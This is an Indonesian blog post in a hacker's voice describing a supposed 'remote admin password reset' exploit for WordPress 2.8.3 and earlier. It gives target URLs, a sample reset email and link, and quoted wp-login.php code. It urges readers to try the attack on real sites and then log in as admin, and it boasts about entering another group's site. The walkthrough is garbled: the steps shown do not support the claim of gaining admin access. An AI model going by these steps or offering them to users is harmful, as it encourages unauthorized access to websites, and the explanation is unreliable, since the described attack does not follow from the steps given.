Wordpress Remote Admin Reset

sama saja seperti layaknya joomla, heheh teringat bug dulu :) wordpress juga mempunyai bug admin password reset..
bila tidak percaya mmm, saya berhasil masuk ke salah satu wordpress group hacker sebelumnya sayang gambarnya susah di upload (bandwidht kecill hua hua hua :(( ) maaf buat dedengkotnya, tapi saya cuma numpang liwat aja :)

ehem ok langsung ke topiiikkk

VULNERABILITY
WordPress <= 2.8.3 Remote admin reset password



misalkan ada website dengan system berbasis wordpress, misal saja www.blabla.com

maka kita langsung explotasi saja :)

masukan kode ini di belakang url wordpress tersebut

/wp-login.php?action=lostpassword ;

maka bila di gabung menjadi www.blabla.com/wp-login.php?action=lostpassword ;
maka sang cms akan meminta id atau email untuk dikirimkan password baru..
http://DOMAIN_NAME.TLD/wordpress
Username: admin
Untuk mereset password Anda kunjungi alamat berikut, jika tidak, hanya
abaikan email ini dan tidak akan terjadi apa-apa

lalu akan menjadi seperti ini

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag

Anda klik pada link, dan kemudian Wordpress reset password admin anda, dan
mengirim Anda ke email lain dengan mandat baru Anda.

mmm kurang begitu percaya ya? :/
mari liat bagaimana itu bekerja :)

wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
global $wpdb;

$key = preg_replace('/[^a-z0-9]/i', '', $key);

if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
if ( empty( $user ) )
return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
$action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
$action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
$errors = reset_password($_GET['key']);

if ( ! is_wp_error($errors) ) {
wp_redirect('wp-login.php?checkemail=newpass');
exit();
}

wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
exit();

break;
...[snip ]...

lalu setelah mengganti password langsung masuk aja sebagai admin, hehehe admin pagenya juga gak tau? ok saya tambahkan..

http://blabla.com/wp-login.php atau http://blabla.com/wp-admin/

mungkin itu defaultnya :) jadi silahkan mencoba..

untuk solusinya belum ada patching wordpress yang dapat digunakan (saya juga tidak tahu mungkin sekarang sudah ada) hahahaha

GUNAKAN ILMU SEBIJAK MUNGKIN :)

No response to “Wordpress Remote Admin Reset”

Posting Komentar